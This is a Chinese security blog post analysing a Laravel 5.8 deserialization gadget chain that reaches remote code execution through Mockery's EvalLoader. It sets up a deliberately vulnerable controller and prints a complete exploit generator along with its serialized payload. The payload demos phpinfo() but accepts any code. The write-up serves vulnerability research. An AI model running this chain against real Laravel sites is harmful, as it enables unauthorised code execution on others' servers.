Laravel 5.8 RCE 分析
2019-08-24 10:56:00 Author: xz.aliyun.com(查看原文) 阅读量:174 收藏

  • composer create-project --prefer-dist laravel/laravel laravel58 安装 Laravel 5.8 并生成 laravel58 项目

  • 进入项目文件夹,使用 php artisan serve 启动 web 服务

  • laravel58/routes/web.php 文件添加路由

    Route::get("/","\App\Http\Controllers\DemoController@demo");
    
  • laravel58/app/Http/Controllers/ 下添加 DemoController.php 控制器

    <?php
    namespace App\Http\Controllers;
    
    class DemoController extends Controller
    {
        public function demo()
        {
            if(isset($_GET['c'])){
                $code = $_GET['c'];
                unserialize($code);
            }
            else{
                highlight_file(__FILE__);
            }
            return "Welcome to laravel5.8";
        }
    }
    
  • ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61

  • Illuminate\Broadcasting\PendingBroadcast 类的 __destruct 方法开始的 pop 链

  • Illuminate\Broadcasting\PendingBroadcast 中,$events 必须实现 Dispatcher 接口,这里选择的是 Illuminate\Bus\Dispatcher

    public function __construct(Dispatcher $events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
    
    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
    
  • Illuminate\Bus\Dispatcher 中,调用 dispatch 方法,进入 if 判断,$this->queueResolver 是在实例化 Illuminate\Bus\Dispatcher 时的一个参数,它必须有值,$command 也就是 $this->event 必须实现 ShouldQueue 接口,这里选择的就是 Illuminate\Broadcasting\BroadcastEvent

    // $command : $this->event
    public function dispatch($command)
    {
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }
    
        return $this->dispatchNow($command);
    }
    
    public function __construct(Container $container, Closure $queueResolver = null)
    {
        $this->container = $container;
        $this->queueResolver = $queueResolver;
        $this->pipeline = new Pipeline($container);
    }
    
    protected function commandShouldBeQueued($command)
    {
        return $command instanceof ShouldQueue;
    }
    
  • 到这里,构造出的 exp :

    <?php
    namespace Illuminate\Broadcasting {
        class PendingBroadcast {
            protected $events;
            protected $event;
            function __construct($evilCode)
            {
                $this->events = new \Illuminate\Bus\Dispatcher();
                $this->event = new BroadcastEvent($evilCode);
            }
        }
    }
    ?>
    
  • 然后进入 dispatchToQueue 方法,存在 call_user_func 方法,其中的 $this->queueResolver 是可控的,这里利用的是 Mockery\Loader\EvalLoaderload 方法,即 $this->queueResolverarray(new Mockery\Loader\EvalLoader(), "load")

    public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;
    
        $queue = call_user_func($this->queueResolver, $connection);
    
        if (! $queue instanceof Queue) {
            throw new RuntimeException('Queue resolver did not return a Queue implementation.');
        }
    
        if (method_exists($command, 'queue')) {
            return $command->queue($queue, $command);
        }
    
        return $this->pushCommandToQueue($queue, $command);
    }
    
  • 这个点的意思就是

    1. $this->events 调用 dispatch 传入参数 $this->event
    2. 访问 $this->eventsqueueResolver 属性
    3. 调用 $this->events->commandShouldBeQueued($this->event) 方法
    4. 调用 dispatchToQueue 传入 $this->event 参数。其中的 $connection$this->event->connection ,即 Illuminate\Broadcasting\BroadcastEvent 中的 $connection 属性
    5. call_user_func$connection 作为参数传给 $this->queueResolver 返回的函数
  • 到这里,构造出的 exp 如下,已经实现 call_user_func($this->queueResolver, $connection)call_user_func($evilFunc, $evilCode) ,接下来就要寻找一个可以利用的函数,这里选择的是 Mockery\Loader\EvalLoader ,继续跟进

    <?php
    namespace Illuminate\Broadcasting {
        class PendingBroadcast {
            protected $events;
            protected $event;
            function __construct($evilCode)
            {
                $this->events = new \Illuminate\Bus\Dispatcher();
                $this->event = new BroadcastEvent($evilCode);
            }
        }
    
      class BroadcastEvent {
            public $connection;
            function __construct($evilCode)
            {
                $this->connection = $evilCode;
            }
        }
    }
    
    namespace Illuminate\Bus {
        class Dispatcher {
            protected $queueResolver;
            function __construct()
            {
                $this->queueResolver = $evilFunc;
            }
        }
    }
    
  • Mockery\Loader\EvalLoader 中有一个 eval 函数可以利用,这里的 $definitionMockDefinition 类的实例化对象,也就说明 $this->event->connectionMockDefinition 类的实例化对象。接下来就是绕过 if 判断。

    class EvalLoader implements Loader
    {
        public function load(MockDefinition $definition)
        {
            if (class_exists($definition->getClassName(), false)) {
                return;
            }
    
            eval("?>" . $definition->getCode());
        }
    }
    
  • 跟进 Mockery\Generator\MockDefinition ,如果要绕过 if 判断,必须让 getClassName 返回一个不存在的类名,即 $this->config->getName() 返回一个不存在的类名。$configMockery\Generator\MockConfiguration 的实例化对象

    class MockDefinition
    {
        protected $config;
        protected $code;
    
        public function __construct(MockConfiguration $config, $code)
        {
            if (!$config->getName()) {
                throw new \InvalidArgumentException("MockConfiguration must contain a name");
            }
            $this->config = $config;
            $this->code = $code;
        }
    
        public function getConfig()
        {
            return $this->config;
        }
    
        public function getClassName()
        {
            return $this->config->getName();
        }
    
        public function getCode()
        {
            return $this->code;
        }
    }
    
  • Mockery\Generator\MockConfiguration 中,让 getName() 返回一个不存在的类名,最终执行 eval("?>" . $definition->getCode()); 实现 RCE

    class MockConfiguration
    {
        protected $name;
    
        public function getName()
        {
            return $this->name;
        }
    }
    
  • 最终的 exp ,(ph 牛的 exp ) :

    <?php
    namespace Illuminate\Broadcasting {
        class PendingBroadcast {
            protected $events;
            protected $event;
            function __construct($evilCode)
            {
                $this->events = new \Illuminate\Bus\Dispatcher();
                $this->event = new BroadcastEvent($evilCode);
            }
        }
    
      class BroadcastEvent {
            public $connection;
            function __construct($evilCode)
            {
                $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
            }
        }
    }
    
    namespace Illuminate\Bus {
        class Dispatcher {
            protected $queueResolver;
            function __construct()
            {
                $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
            }
        }
    }
    
    namespace Mockery\Loader {
        class EvalLoader {}
    }
    namespace Mockery\Generator {
        class MockDefinition {
            protected $config;
            protected $code;
            function __construct($evilCode)
            {
                $this->code = $evilCode;
                $this->config = new MockConfiguration();
            }
        }
        class MockConfiguration {
            protected $name = 'abcdefg';
        }
    }
    
    namespace {
      $code = "<?php phpinfo(); exit; ?>";
      $exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
      echo serialize($exp);
    }
    ?>
    
  • 输出结果 :

    O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
    
  • 危险函数的寻找

    eval,call_user_func

  • phpstorm + xdebug 调试代码

  • 不同类型数据序列化,\00Test\00y 为 private,\00*\00 为 protected,其中 s 需要换成大写的 S 才能进行反序列化,否则会发生偏移错误,应该是编码的问题

    <?php
    class Test
    {
      public $x="peri0d";
      private $y="peri0d";
      protected $z="peri0d";
    }
    
    $k = new Test();
    
    echo serialize($k);
    
    // O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}
    ?>
    
  • 反序列化测试代码 :

    <?php
    // 环境 : php 7.1.13 nts
    class Test
    {
      public $x="peri0d";
      private $y="peri0d";
      protected $z="peri0d";
    }
    
    $n = new Test();
    var_dump(serialize($n));
    var_dump(unserialize(serialize($n))); // 成功
    
    $k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';
    var_dump(unserialize($k)); // 成功
    
    $m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';
    var_dump(unserialize($m)); // 失败
    
    $l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
    var_dump(unserialize($l)); // 失败
    ?>
    

文章来源: http://xz.aliyun.com/t/6059
如有侵权请联系:admin#unsafe.sh